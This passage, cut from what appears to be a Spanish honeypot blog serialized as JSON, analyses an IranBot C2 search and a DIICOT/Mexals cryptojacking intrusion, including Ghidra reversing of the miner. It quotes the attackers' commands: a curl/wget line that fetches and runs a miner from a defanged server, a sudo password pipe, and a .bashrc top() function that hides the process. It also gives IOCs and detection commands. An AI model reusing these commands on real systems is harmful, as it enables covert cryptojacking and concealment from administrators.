misma caja, y que uno esté vacío no dice absolutamente nada del otro. Y la caja sigue en pie: sigue respondiendo y sigue acumulando denuncias. Tampoco me lo dice la jaula del apartado anterior. Ahí dentro el bicho marca el número, pero no hay línea: lo encerré precisamente para que no la hubiera. Sé a quién llama; no sé si alguien descuelga. Lo intenté por las dos vías que tenía, y las dos se quedaron a medias: Pedí a Shodan que volviera a escanear el host. Salió «completado» y no llegó a indexarse: su ficha sigue enseñando los mismos tres puertos de antes. Y ni siquiera sé si su perfil de escaneo cubre el 2000 - con lo cual un «no aparece» tampoco habría probado nada. El otro buscador de este tipo me habría servido igual. Mi cuota está agotada: responde que no hay saldo, ni siquiera para consultar una dirección suelta. Y queda la vía obvia, que es abrir una conexión al 2000 y ver si contesta alguien. No lo voy a hacer. Llamar al puerto de mando de una botnet no es como comprobar si una web está levantada: desde el otro lado eso se parece muchísimo a un bot nuevo registrándose, y mi dirección quedaría escrita en los registros de quien administra esa máquina. Por un dato que no cambia nada de lo que cuenta este capítulo, no compensa. Así que la respuesta honesta es que no lo sé. El reparto está limpio; el mando, sin comprobar. La caja está en vigilancia y, si vuelve a asomar, se sabrá. 08Indicadores (IOCs) Los de la infección están en el capítulo 21. Estos son los de dentro. TipoValor C2 - no publicado antes176.65.139.206:2000/tcp · en claro, sin cifrar, sin dominio La misma máquina, sus papeles:22 SSH · :80 reparto (Apache) · :2000 C2 · y origen del ataque Muestra de referencia usada (ya publicada)b1a6dba6636b519d76d7219f6264ac9f1456681c0855baef954fb435d3e25ce5 x86-64, 164.272 B, C2 103.83.87.122:8060 Artefacto de julio no listado por su fichab4acd1ab65624b694946b1181bba0732bb63c88c51b8334914c26c1805b2e1aa iran.sh4 - arquitectura que yo no capturé C2 anteriores de la familia (contexto)femboys.chloebulldog.online:44510 (→ 45.205.1.36) · mythickass.onthewifi.com:313 · 103.83.87.122:8060 Persistencia (documentada por su ficha)/etc/init.d/xs.main · /etc/rc.local Un puerto que NO es un indicadorEl 8098 de esa misma máquina no está en la tabla, y no es un olvido. Yo mismo lo di por panel del operador y lo retiré en la sección 03: lo tienen abierto cuatrocientas cincuenta y cinco mil máquinas y su firma sale en hosting legítimo. Publicarlo como indicador solo serviría para que alguien bloqueara a un vecino inocente. Continuará - el cebo sigue encendido, y esa caja también. Porque mientras perseguía el 2000 fui mirando qué más había repartido ese servidor antes de llegarme a mí, y resultó que este bicho no era su único inquilino. Eso ya no es la historia de un bicho, es la de una dirección - y no cabe aquí. 🍯","date":"2026-09","fam":"IranBot","n":22,"spec":"IranBot (fork de Mirai)","sum":"Un bot de la escuela Mirai lleva dentro la dirección de quien le da las órdenes. Busqué la de este por cuatro caminos distintos y no la encontré por ninguno - y de paso publiqué una teoría propia que resultó ser falsa. Lo que acabó funcionando no fue una herramienta mejor: fue darme cuenta de que en algún sitio había otro binario, compilado del mismo código, cuyo centro de mando alguien ya había publicado. Con los dos delante, la diferencia entre ellos son mil ciento treinta bytes.","t":"El gemelo que me faltaba","tags":["IranBot","Mirai","ingeniería inversa","análisis diferencial","C2","botnet"],"tipo":"Botnet IoT (DDoS)","url":"/capitulo-22/"},{"body":"Casi todo lo que llama a la puerta de un cebo es una máquina que escanea, prueba cuatro contraseñas y se va. Esto fue distinto - y no por cómo entró, sino por lo que dejó puesto. Un domingo de septiembre entraron tres veces. La primera se fue sin clavar una uña; la última dejó la máquina sembrada. Y lo interesante no es ninguna de las tres por separado: es lo que se ve al ponerlas en fila. Hay una cosa, además, que solo se ve porque congelé el disco después de cada visita - una foto del sistema de ficheros tal y como quedó. Tres fotos. Sin ellas, el hallazgo del final de este capítulo me habría pasado por delante sin verlo. 01Tres visitas, y un escalón cada vez Lo primero que salta al comparar los tres discos es dónde está la frontera: las tres visitas, comparadas en disco# el .bashrc de fábrica de esta máquina pesa 607 bytes visita 1 primera hora de la tarde .bashrc 607 B sin cron sin preload visita 2 por la noche .bashrc 774 B cron_d_9499 ld.so.preload visita 3 hora y media más tarde .bashrc 774 B cron_d_4836 ld.so.preload La primera entró, midió la máquina, hizo lo suyo y se marchó sin dejar nada: el fichero de configuración de la shell del administrador sigue pesando lo que pesaba de fábrica, no hay tareas programadas nuevas, no hay palanca de arranque. Si el día se hubiera quedado ahí, yo tendría una muestra y poco más que contar. La segunda fue la que se quedó: montó cinco vías de arraigo a la vez, el backdoor incluido. Y la tercera volvió hora y media después - desde la misma dirección que la segunda - y las reaplicó una por una, encima de las que ya estaban. Un bicho que vuelve a pasar la fregonaReaplicar lo que ya está puesto parece tontería, y no lo es: apunta a que el kit no comprueba si ya estuvo aquí. Entra, ejecuta su lista entera y se va. Lo que para mí es «volvió a por lo mismo», para él es la primera vez, cada vez. Es la clase de detalle que distingue una lista que se ejecuta de alguien leyendo la pantalla. 02Cómo mide la casa antes de instalarse Todo bicho, nada más pisar una máquina, la mide: quiere saber qué CPU tiene y cuántos núcleos, porque de eso depende cuánto puede minar. Éste empieza por una prueba que me gustó encontrar: la sonda de capacidadprintf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" \u0026gt; filter \u0026amp;\u0026amp; chmod +x filter \u0026amp;\u0026amp; ./filter \u0026amp;\u0026amp; rm -rf filter Escribe un fichero, lo hace ejecutable, lo ejecuta, comprueba que la salida es la que esperaba y lo borra. El fichero es tonto - dos líneas. Lo que tiene enjundia es para qué sirve: es un test de si en esta carpeta se puede escribir y, sobre todo, ejecutar. Muchos servidores bien montados marcan sus directorios temporales como «aquí no se ejecuta nada», y el bicho lo comprueba antes de perder el tiempo bajando un binario que no va a poder lanzar. Una aclaración, porque yo mismo me liéEl fichero que escribe se llama filter y es inofensivo: dos líneas y un echo. Dentro no hay nada que analizar. Lo que tiene valor es el envoltorio - la comprobación que lo rodea. Fichero aburrido, envoltorio interesante; durante un tiempo estuve mirando el sitio equivocado. Y justo después, el detalle que retrata a quien hay detrás: cómo cuenta los núcleosecho '\u0026lt;contraseña\u0026gt;' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo' Léelo de izquierda a derecha: prueba nproc; si no está, lo intenta con la ruta completa; si tampoco, con busybox; y si nada de eso existe, cuenta a mano las líneas de un fichero del sistema. Cuatro caminos para averiguar un solo número. Y todo ello pasándole la contraseña a sudo por una tubería, para ganar permisos de administrador sin que nadie teclee nada. Cada orden que lanza va envuelta así. Nadie escribe eso a mano tres veces en un día. La cascada dice a dónde apunta el kitbusybox es un programa que hace de navaja suiza en sistemas recortados - routers, cámaras, grabadores de vídeo - donde no están las herramientas normales de Linux. Contemplar ese caso no es relleno: significa que el kit no apunta solo a servidores, cuenta con caer en cacharros. Es la misma idea que cuando pregunta por la tarjeta gráfica: quiere saber con qué va a minar antes de elegir qué baja. El resto del reconocimiento es corto y va al grano - qué sistema es, cuántos núcleos tiene, cuánto lleva encendido, si hay gráfica y de qué arquitectura es la CPU: el reconocimientouname -s -v -n -m # sistema, versión, nombre de máquina y arquitectura nproc # núcleos — de esto depende lo que puede minar cat /proc/uptime # cuánto lleva encendida grep -i vga ; grep -i nvidia # ¿hay tarjeta gráfica? tienen rama de GPU uname -m # la arquitectura, a solas: la necesita para la descarga Ese bloque no siempre viene tan corto. En su versión larga añade una pregunta que no tiene nada que ver con minar: se lleva la salida de last, que es la lista de quién se ha estado conectando a esta máquina. No vienen solo a por los núcleos - de paso apuntan quién entra y quién sale. 03La descarga Con la máquina medida, baja la carga. Ésta es la orden entera, y merece leerse completa: la descarga del minerocd /dev/shm \u0026amp;\u0026amp; ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \\ hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \\ || wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) ) chmod +x .16 ; ./.16 Tres cosas caracterizan esta línea, y las tres son decisiones conscientes. No usa el disco: usa /dev/shm, que es una carpeta que en realidad vive en la memoria RAM. Lo que se escribe ahí desaparece al apagar la máquina y deja mucho menos rastro para quien investigue después. Lleva curl y, si falla, wget - las dos herramientas habituales para descargar desde la línea de comandos. Cinturón y tirantes, el mismo patrón de la cascada de antes. Y la arquitectura de la CPU no va escrita: se la pregunta a la máquina con $(uname -m) y pega la respuesta al final de la dirección. El servidor le devuelve entonces el binario compilado para esa CPU concreta. Un solo comando que sirve para un servidor x86 y para un router ARM. El fichero se llama .16. El punto delante lo hace invisible a un listado normal, y el nombre - un número de dos cifras - es tan anodino que la vista resbala. Ese nombre va a volver dentro de un momento, y ahí está la gracia del capítulo. La ruta del servidor hablaFíjate en la dirección: /f/brute/m/. Está estructurada - una carpeta por campaña, otra por tipo de carga y la arquitectura al final. Eso sugiere que en ese servidor hay más campañas y más cargas que ésta. El nombre de la primera carpeta acabará siendo importante, pero eso es de más adelante. ESPÉCIMEN 008 · ELF DIICOT / Mexals · minero de Monero ◈ VIVO · NO EJECUTAR TipoELF 64-bit x86-64 · estático · stripped Tamaño3.373.344 bytes Empaquetadono Se rebautiza16 Funciónminero de CPU + instalador de su propia persistencia Configcifrada (XOR de un byte) SHA-256a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 La familia es DIICOT (también llamada Mexals), un viejo conocido del cryptojacking documentado desde 2021 por Bitdefender, Akamai, Cado, Darktrace y Wiz. Qué es DIICOT no lo descubro yo aquí: está contado y bien contado. Lo que traigo es lo que se ve al mirar estos tres discos. Y en una de las visitas posteriores no bajaron solo éste: bajaron también un segundo minero, de GPU, soltado con el nombre init. Es la respuesta a la pregunta por la tarjeta gráfica del apartado anterior - sí tenían rama de GPU y la trajeron consigo. Es ethminer, un minero de código abierto perfectamente legítimo (como lo es XMRig), así que ojo con catalogarlo: lo que señala a estos no es el programa, es el nombre con el que lo sueltan. Y no llegó a correr: el neutralizador lo cazó antes de que arrancara, así que a qué cartera cobraba ése me quedé sin saberlo. Quién paró esto - y quién noEs tentador apuntarle el tanto al cortafuegos de salida, y sería mentira. Sus reglas actúan sobre el establecimiento de cada conexión nueva, no sobre los datos en vuelo: son un limitador de ritmo, no un cortador. Las descargas que pasaron, pasaron enteras. Quien impidió que el minero llegara a minar fue el neutralizador (matar el proceso y vaciar el fichero), no el firewall. Contarlo al revés sería quedar bien a costa de la verdad. 04El comando que miente Aquí está el remate, y apareció revisando el disco a posteriori. En la segunda visita, el /root/.bashrc - el fichero que configura la shell del administrador - había pasado de 607 a 774 bytes. Una sola línea añadida al final: la línea que añadieron a /root/.bashrctop() { trap 'tput cnorm' INT; tput civis; { script -q -c \"/usr/bin/top\" /dev/null \\ | sed -e '/16/d' -e '/libbase\\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; } Léela despacio, porque es una pequeña obra. En Linux puedes redefinir un comando: escribir una función que se llame igual que un programa que ya existe. A partir de ese momento, cuando alguien teclea ese nombre no se ejecuta el programa de siempre - se ejecuta tu función. Es una característica normal de la shell, pensada para atajos cómodos. Aquí la usan para otra cosa. El comando que han redefinido es top: el que todo administrador teclea cuando nota la máquina lenta, para ver qué se está comiendo la CPU. Y su versión falsa hace tres cosas - lanza el top de verdad, pasa su salida por un filtro, y disimula. El filtro es lo que importa. sed -e '/16/d' significa, literalmente, «borra toda línea que contenga 16». Y 16 (te dije que ese nombre volvería) es el nombre con el que el minero se rebautiza al arrancar. Traducido: El administrador abre top para ver qué le está comiendo la máquina, y justo el proceso que se la come es el único que no aparece. El resto de la línea es orfebrería para que no se note. El script -q -c engaña a top haciéndole creer que hay una pantalla delante, porque si detecta que su salida va a una tubería se rompe y no pinta nada. Los tput civis y cnorm ocultan y restauran el cursor - también si pulsas Ctrl+C, gracias al trap - para que se vea idéntico al auténtico. Y si algo falla, el || /usr/bin/top del final ejecuta el de verdad, para no levantar sospechas ni con un error. Un rootkit sin rootkitLo elegante - y lo inquietante - es que esto hace lo mismo que un rootkit (esconder un proceso de quien lo busca) sin ser uno: no hay biblioteca inyectada, no hay binario que un antivirus pueda oler. Es texto en un fichero de configuración que existe en cualquier Linux. Más barato de poner y mucho más difícil de encontrar con herramientas de malware - pero trivial de cazar si sabes mirar, porque top no debería ser una función. 05Cinco vías para volver El top falso es para esconderse. Para volver, la misma visita montó cinco cosas más, y las montó todas a la vez: un temporizador de systemd con nombre inocente, system-helper, que se dispara solo; dos tareas programadas en /etc/cron.d/ - una con nombre fijo y otra con un número al azar; un /etc/ld.so.preload, que es la palanca para colar una biblioteca dentro de todos los procesos nuevos del sistema; el backdoor del .bashrc de arriba; y el .profile retocado, para disparar también al iniciar sesión. En el disco casi todas aparecen a cero bytes - las vació la contención - y al .profile le dejó el relleno en blanco. Del contenido de la mayoría me quedé sin nada; del nombre y la ubicación, sí. La del .bashrc es la excepción: sobrevivió entera. Y del .profile sé lo que ponía aunque esté en blanco, porque los números encajan: el fichero pasó de 132 a 147 bytes, y los quince que le añadieron quedaron a cero. La línea que el minero le escribe ahí viaja dentro del propio binario y mide exactamente esos quince caracteres - source .bashrc. No hace falta el fichero para saber qué decía. Pero cuidado con leer ese cero como si no hubiera pasado nada, porque el registro del núcleo dice otra cosa: lo que anotó el núcleo sobre el temporizadortype=SERVICE_START unit=system-helper comm=\"systemd\" res=success comm=\"system-helper-r\" ppid=1 # lo lanzó el propio sistema, no una sesión El temporizador se habilitó, arrancó y ejecutó su script. Ese ppid=1 es la firma de que quien lo puso en marcha fue el sistema por su cuenta, ya sin nadie conectado. Y aquí está el detalle que más me gusta de todo el caso, porque resuelve el hueco sin necesidad de tener el fichero: systemd no arranca una unidad vacía. Si en el disco congelado el fichero está a cero pero el registro dice que el servicio arrancó bien, entonces tenía contenido cuando arrancó - el cero es posterior. No sé qué ponía dentro, pero sé que ponía algo y que funcionó. Lo que sí se quedó en intento - y conviene no mezclarloEl temporizador funcionó; el rootkit de verdad, no. Ese /etc/ld.so.preload es la palanca del otro tipo de ocultación, la que inyecta una biblioteca en todos los procesos nuevos y puede esconder lo que quiera. Pero ahí el fichero acabó vacío y la biblioteca nunca llegó a escribirse: no ocultó nada, en ninguna de las visitas. Son dos cosas distintas y merecen contarse por separado - el arraigo por systemd llegó a correr, el rootkit de biblioteca se quedó en la puerta. El que sí funcionó para esconderse fue el tercero: la línea de bash, que no necesita biblioteca ninguna. Los dos ficheros que sobrevivieron llevan además la misma marca de tiempo, al segundo: las cinco vías no se van montando poco a poco, se plantan de una tacada. Ponlo en contexto: por la tarde se fueron sin plantar nada, y unas horas después la máquina tenía cinco vías de arraigo y un comando que miente. Eso no es un kit que se dispara una vez y se olvida. 06El número que no cuadra Vuelve a la línea del .bashrc y fíjate en lo que borra el filtro. Son tres cosas: los tres patrones que escondesed -e '/16/d' # el nombre del minero — cuadra -e '/libbase\\.sh/d' # un fichero que en mi máquina no existe -e '/7704/d' # ¿un número suelto? ¿de dónde sale? El primero cuadra. El segundo es un fichero que busqué por todo el disco y no aparece. Y el tercero tiene pinta de ser el número de un proceso - lo que en Linux se llama un PID, el identificador que el sistema le asigna a cada programa en marcha. Pero los PID los reparte cada máquina sobre la marcha: no se saben de antemano. Mi primera teoría fue que se les había colado la plantilla de otra víctima - que ese 7704 era el número de un proceso en otra máquina y lo habían copiado sin darse cuenta. Suena bien, apunta a chapuza y da buen titular. Estaba equivocado. Y lo descubrí porque tenía un disco más. Lo primero: ese número es de esta máquina. La auditoría del núcleo lo confirma - durante esa visita, el proceso 7704 estuvo vivo aquí dentro, lanzando sus propios hijos. Es el número del bicho, en esa visita concreta. Y lo segundo es lo que cierra el asunto. La tercera visita volvió y reinstaló el mismo backdoor. Puestos uno al lado del otro: El mismo backdoor, dos instalaciones. La última línea del .bashrc en el disco congelado de cada visita. Son la misma frase, carácter por carácter: la redefinición de top, el filtro que borra 16 y libbase.sh, y el remate que restaura el cursor. Lo único que cambia es el número marcado en rojo - 7704 en una visita, 2845 en la otra. La misma línea, letra por letra, con un número distinto. Los dos nombres - 16 y libbase.sh - son constantes de fábrica. El número es lo único que cambia de una instalación a la siguiente, y coincide con el proceso que la está escribiendo. Y esto es mejor noticia que lo que yo creíaMi teoría del descuido era un indicio flojo y, además, falsa. Lo que hay es más fuerte: si la línea sale de una plantilla, entonces está igual en todas las máquinas donde entra este kit, letra por letra, salvo el número del medio. Eso convierte un accidente en una firma. No hace falta saber qué número tiene tu máquina: basta con buscar la forma. Así que si administras servidores, esto es lo que hay que buscar, y cuesta un segundo: cómo se cazadeclare -f top crontab kill # si devuelven código, ahí lo tienes grep -nE '^(top|crontab|kill)\\(\\)' ~/.bashrc /root/.bashrc /etc/profile.d/* grep -rl 'libbase\\.sh' /etc /usr/local /root ~ Pregunto por tres comandos y no por uno porque top es el único que encontré instalado aquí - los otros dos aparecen preparados dentro del binario, listos para escribirse, y los abro en el capítulo siguiente. Lo que no sé todavía es quién escribe ese número. Porque si cambia en cada instalación y coincide con un proceso que estaba vivo, algo lo está averiguando y pegándolo ahí sobre la marcha, en cuestión de segundos. La respuesta no está en el disco: está dentro del minero, y para sacarla hay que abrirlo. 07Indicadores (IOCs) Los de esta captura. Los de dentro del binario - a quién le paga y quién rellena ese hueco - van en el capítulo siguiente. TipoValor IPs de origen92.118.39.77 (primera visita) · 62.171.133.1 (segunda y tercera - la misma, reincidente) Segunda cargaethminer soltado con el nombre init - software legítimo: lo que señala es el nombre del despliegue, no el programa Servidor de repartohxxp://5.189.149[.]171/f/brute/m/.16_\u0026lt;arch\u0026gt; - ruta estructurada: campaña / tipo / arquitectura Backdoor de shell - la firmauna función top() en .bashrc que pasa top por un sed borrando 16, libbase.sh y un número variable. ⚠️ Ese número no se repite entre víctimas: no lo busques a él, busca la forma de la línea. Detección baratadeclare -f top crontab kill · grep -nE '^(top|crontab|kill)\\(\\)' ~/.bashrc Nombre de proceso / fichero16 · /dev/shm/.16 · /root/.16 Persistenciasystem-helper (temporizador de systemd) · /etc/cron.d/cron_d_\u0026lt;n\u0026gt; · /etc/ld.so.preload · /root/.profile Componente de enganchelibbase.sh - referenciado por el backdoor; no llegó a escribirse aquí Sonda de capacidadprintf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" \u0026gt; filter \u0026amp;\u0026amp; chmod +x filter \u0026amp;\u0026amp; ./filter \u0026amp;\u0026amp; rm -rf filter Reconocimientouname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · cascada de cuatro alternativas hasta busybox Elevación de privilegiosecho '\u0026lt;pass\u0026gt;' | sudo -S sh -c '…' - credencial por tubería en cada orden SHA-256 (minero)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 El que más aguanta no es ningún hash - esos cambian a cada recompilación. Es la forma del backdoor: un top que es una función en vez de un programa. Un gesto tan anómalo que se caza con una sola orden, y que sobrevive a todas las recompilaciones que quieran hacer. Continuará - me llevé la muestra del minero. Dentro está la respuesta a quién rellena ese hueco, y de paso a quién le paga: una cartera escondida detrás de un cifrado que da risa. Lo abro con Ghidra en el Capítulo 24. 🍯","date":"2026-09","fam":"DIICOT","n":23,"spec":"DIICOT / Mexals","sum":"Dejé una contraseña puesta en un cebo y, un domingo, entraron por ella tres veces. Neutralicé lo que traían; lo que no vi hasta después fue lo que dejaron plantado - una línea en el .bashrc que hace que «top» mienta y esconda justo al proceso que se está comiendo la máquina. Un rootkit sin rootkit. Y al poner dos discos congelados uno al lado del otro apareció el detalle que lo cambia todo: la misma línea, con un número distinto.","t":"El comando que miente","tags":["honeypot","cryptojacking","SSH","persistencia","análisis forense"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-23/"},{"body":"En el capítulo anterior me quedé con un cabo suelto. El bicho deja plantada una línea en el .bashrc del administrador que hace que top mienta y esconda al minero. Esa línea borra tres cosas, y una de ellas es un número distinto en cada instalación - el del propio proceso del bicho, que nadie puede saber de antemano porque lo reparte cada máquina sobre la marcha. Algo lo estaba averiguando y pegándolo ahí en cuestión de segundos. Hoy abro el minero con Ghidra y sale qué. De paso sale a quién le paga y por dónde cobra. 01El binario en la mesa La muestra es la del capítulo anterior: el fichero que se bajó de su servidor y se ejecutó como .16. Un ELF de 64 bits, estático - lleva dentro todas las bibliotecas que necesita, así que corre en cualquier máquina aunque esté vieja o recortada - y stripped, es decir, sin los nombres de sus propias funciones. El equivalente a arrancarle las etiquetas a todas las piezas antes de entregarlo. Eso importa para lo que viene: cuando Ghidra abre un binario así no hay nombres que leer. Todo lo que aparece a partir de aquí lo he tenido que deducir del propio código, y los nombres que veréis en las capturas se los he puesto yo. 02La línea que nadie escribió Vamos directos al cabo suelto. Busqué dentro del binario la línea del backdoor esperando no encontrarla - porque si el número cambia en cada máquina, la línea no puede estar guardada tal cual. Está. Y está con un agujero en medio: la plantilla, tal cual vive dentro del binariotop() { trap 'tput cnorm' INT; tput civis; { script -q -c \"/usr/bin/top\" /dev/null | sed -e '/16/d' -e '/libbase\\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; } ↑ un byte cero, justo donde debería ir el número Ese [NUL] es un byte cero: el carácter que en C marca el final de un texto. Para un programa, encontrarse un cero ahí significa «el texto se acaba aquí». Y eso es exactamente lo que es - el final de la primera mitad de la frase. La segunda mitad viene justo detrás, esperando. O sea: el bicho no lleva la línea del backdoor. Lleva la plantilla, con el hueco ya reservado. Cuando llega el momento se pregunta cuál es su propio número de proceso, lo convierte a texto, lo mete en el agujero y escupe el resultado al .bashrc. Ahí se fabrica la línea. Ghidra, con las variables renombradas por mí para que se siga. Arriba del todo, CALL getpid: el programa se pregunta cuál es su propio número de proceso. Debajo, las dos referencias que importan - la mitad A, que a la derecha se lee como \"top() { trap 'tput cnorm' INT…\", y más abajo la mitad B, que es \"/d'; } || /usr/bin/top; tput…\". Entre una y otra va el número recién preguntado. La línea del capítulo anterior se fabrica aquí, en el momento, en esta máquina. La receta, paso a pasodesensamblado Son cinco movimientos, en este orden: ghidra · la receta, paso a pasoCALL getpid // ¿cuál es mi número de proceso? MOV ESI,EAX // guárdalo CALL … // conviértelo a texto — por esto hacen falta dos mitades LEA RSI,[MITAD_A] // \"top() { trap 'tput cnorm' … -e '/\" LEA RDX,[MITAD_B] // \"/d'; } || /usr/bin/top; tput cnorm; }\" // resultado = MITAD_A + número + MITAD_B El getpid del principio es lo que lo cierra todo: el número que borra el filtro no lo eligió nadie - se lo pregunta el bicho a sí mismo, justo antes de escribir la línea. Y ahí está la explicación de los dos números del capítulo anterior. En una visita el proceso era el 7704 y en la otra el 2845; la plantilla es la misma, letra por letra, y lo único que cambió fue lo que se metió en el hueco. Por qué esto zanja lo del capítulo anteriorAllí yo tenía una observación (dos discos, la misma frase, distinto número) y una corazonada sobre lo que significaba. Aquí está el porqué, y pesa más que cualquier corazonada: no es que la frase se parezca de una máquina a otra; es que se fabrica igual en todas. No queda margen para que varíe nada que no sea el hueco. 03Y no es un comando: son tres Ya que estaba dentro, busqué si top era el único comando que pensaban reescribir. No lo es. Hay otros dos, y son mejores. El primero es crontab, el comando con el que se gestionan las tareas programadas - es decir, el sitio donde un administrador miraría para ver qué se ejecuta solo en su máquina: crontab() · recortadocrontab() { if [ \"$1\" = -l ]; then # «lístame las tareas» → le oculta las suyas elif [ \"$1\" = -e ]; then # «déjame editarlas» → se las repega al guardar elif [ \"$1\" = -r ]; then # «bórralas todas» → borra las tuyas y deja las suyas fi; } Las tres ramas merecen leerse. Con -l te esconde sus entradas, que es lo esperable. Con -e te abre el editor con un fichero sin sus líneas, te deja tocar lo que quieras… y se las vuelve a pegar cuando guardas. Y la tercera es la buena: crontab -r significa «bórrame todas las tareas», y lo que hace es borrar las tuyas y reinstalar las suyas. El gesto de limpieza del administrador se convierte en el gesto de limpieza del atacante. El segundo es kill, el comando para matar procesos, y es de una simplicidad desarmante: recorre lo que le pasas, tira a la basura cualquier -9 y llama al kill de verdad con lo que queda. En Linux, kill -9 es la orden tajante: mata el proceso sin que este pueda negarse ni despedirse. Escribes kill -9 contra su minero y lo que sale por el otro lado es un kill a secas - una señal educada, que su proceso puede atrapar e ignorar. Desde esa shell no puedes matar nada a la fuerza, y el sistema no te avisa: el comando responde que sí, y el proceso sigue vivo. Los tres van a por el mismo reflejotop para que no lo veas, crontab para que no encuentres cómo vuelve, kill para que no lo puedas rematar. Es, por ese orden, lo que hace cualquiera que sospeche de su servidor: mirar, buscar, matar. Le han puesto una trampa a cada paso. En mi máquina solo llegó a instalarse el de top (los otros dos estaban listos dentro del binario y no llegaron a escribirse), pero como indicador valen los tres. 04Lo que lleva en el equipaje Este binario no es solo un minero: es un minero que trae dentro su propia mudanza. Rebuscando aparecen las piezas que en mi máquina no llegaron a desplegarse. Lo primero, otro programa entero escondido dentro. Un binario puede llevar otro empotrado como si fuera un dato más y escupirlo a disco cuando le conviene. Aquí hay dos, y uno de ellos es del tipo que se carga dentro de otros programas - una biblioteca. Ese es el rootkit de verdad, el que el capítulo anterior encontró a medio instalar: el /etc/ld.so.preload estaba puesto, pero vacío. La biblioteca que le faltaba viajaba aquí. La saqué para ver qué sabe hacer, y es más modesta de lo que uno espera de un rootkit: engancha una sola función, la que lista el contenido de un directorio. Se instala como /usr/local/lib/libcommon.so y, una vez cargada en cada programa que arranca, cuando alguien pide el listado de /proc (que es de donde Linux saca la lista de lo que está corriendo) ella le quita el que se llama 16 antes de devolvérselo. Y por eso tiene una contramedida barataSi solo intercepta la función de listar, el proceso sigue estando ahí: lo que falla es el índice, no el contenido. Así que para cazarlo no pidas la lista - recorre los números de proceso uno a uno y pregunta por cada uno directamente. El que se escondía contesta. Es la diferencia entre fiarte del índice de un libro y pasar las páginas. Después, las piezas de las que el backdoor ya hablaba y que yo no había podido ver: lo que el minero lleva dentrolibbase.sh # el componente de enganche de shell system-helper # la persistencia por systemd del capítulo anterior /var/tmp/snap # una de las cargas que deja en disco .X0-lock # otra, disfrazada de fichero del servidor gráfico __TTY_GUARD_OK__ # una autocomprobación (ver abajo) Aquel libbase.sh que el filtro del top tapaba y que en la máquina no aparecía por ninguna parte: es suyo, y viaja aquí dentro. No es de otra víctima ni un despiste - está en la plantilla porque lo pone el kit, aunque en mi máquina no llegara a escribirse. Y los nombres de las cargas dicen bastante: /var/tmp/snap suena al gestor de paquetes de Ubuntu, .X0-lock al fichero de bloqueo del servidor gráfico. Son nombres que un administrador ve en una lista y pasa de largo. El kit se prueba a sí mismoEse __TTY_GUARD_OK__ es una autocomprobación: después de escribir su enganche en la shell, el kit lo lanza para ver si funciona, simulando primero que hay un terminal delante y luego que no. Le importa la diferencia porque un administrador entra con terminal y una tarea automática no - y quiere comportarse distinto en cada caso. Han pensado en quién va a entrar por esa puerta después que ellos. 05Seguir el dinero Un minero tiene que saber dos cosas: a qué servidor conectarse y a qué cartera abonar lo que gane. Eso va dentro del binario, y es lo que más interesa - porque identifica al operador a través de todas sus víctimas, no solo de la mía. La llevan cifrada. Pero con el candado más barato que existe: un XOR de un byte. Qué es un XOR de un byteCoges cada letra del texto y la mezclas con una misma clave de un solo carácter, mediante una operación reversible. Volver a aplicarla con la misma clave devuelve el original. Es cifrado de juguete: solo hay 256 claves posibles, así que se prueban todas y ya está. Su única virtud es que el texto no salta a la vista de quien mire el binario por encima. Así que las probé todas, buscando algo con forma de cartera de Monero - 95 caracteres, empezando por un 4 o un 8. Y el resultado no es lo que uno espera: El barrido escupe basura, y ese es el aprendizajeLas 256 claves no dan «una respuesta»: dan más de cien candidatos. Casi todos son zonas del binario llenas de bytes repetidos que, al pasar por el XOR, se convierten en cadenas tipo 4444444… y encajan con el patrón por pura forma. Uno solo es real. La herramienta no decide: decide el criterio de quien mira. Con la clave buena - resulta ser 0x5A - el bloque sale entero: config descifrada (XOR 0x5A)# la cartera de Monero 89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam # y las tres direcciones, seguidas 169.58.248.162 # el proxy propio 5.189.149.171 # el servidor de reparto — el mismo del capítulo anterior project0.cc # el dominio Las tres direcciones, tal como viajan. A la izquierda el ensamblador; a la derecha, el mismo código traducido a C. Las tres cadenas de aspecto tonto - *(50?9.jt99, otkbctknctkmk y klctobthnbtklh - son project0.cc, 5.189.149.171 y 169.58.248.162 en cuanto les pasas el XOR. Fíjate en las longitudes que les pasa: 0xb, 0xd y 0xe - once, trece y catorce, que es exactamente lo que miden los tres destinos. Es un cifrado que no esconde ni el tamaño de lo que esconde. Y un detalle que me gusta mucho: en el texto descifrado los campos aparecen separados por letras Z. No es casualidad ni parte del dato - esas Z son los bytes cero. El relleno que separa una cadena de otra, al pasar por el XOR con 0x5A, se convierte todo en Z. Los separadores se delatan solos: no hay que adivinar dónde corta cada cadena, el propio cifrado te lo dibuja. Por qué el relleno delata la clavecriptografía de juguete La propiedad que lo explica es que cero mezclado con la clave da la clave. Como los bloques de configuración van rellenos de ceros para cuadrar tamaños, en el binario cifrado esos ceros aparecen convertidos, todos, en el mismo carácter - que es la clave en persona. Si ves un byte repitiéndose en bloques largos dentro de una zona por lo demás ilegible, ahí la tienes. Ni hace falta barrer. La jerarquía de la lista cuenta el negocio: primero el proxy propio, después el servidor de reparto y el dominio, y solo al final siete pools públicos de supportxmr.com - que esos sí van en claro, sin cifrar. El operador mina contra lo suyo; el pool público es el paracaídas. Y también dice qué les importa esconder: lo que cifran es lo que los identifica; lo que cualquiera podría usar, no. Cómo sé que es esta familia y no otraPoner un nombre es fácil; demostrarlo, menos. Me bajé las muestras que ya están catalogadas públicamente como esta familia y busqué en ellas lo que acababa de sacar de la mía. Dos llevan la misma cartera, el mismo proxy, el mismo servidor de reparto y el mismo dominio, y los cuatro tapados con la misma clave. Y una de ellas trae además casi todas las piezas que fui a buscar: libbase.sh, system-helper, .X0-lock, /var/tmp/snap, 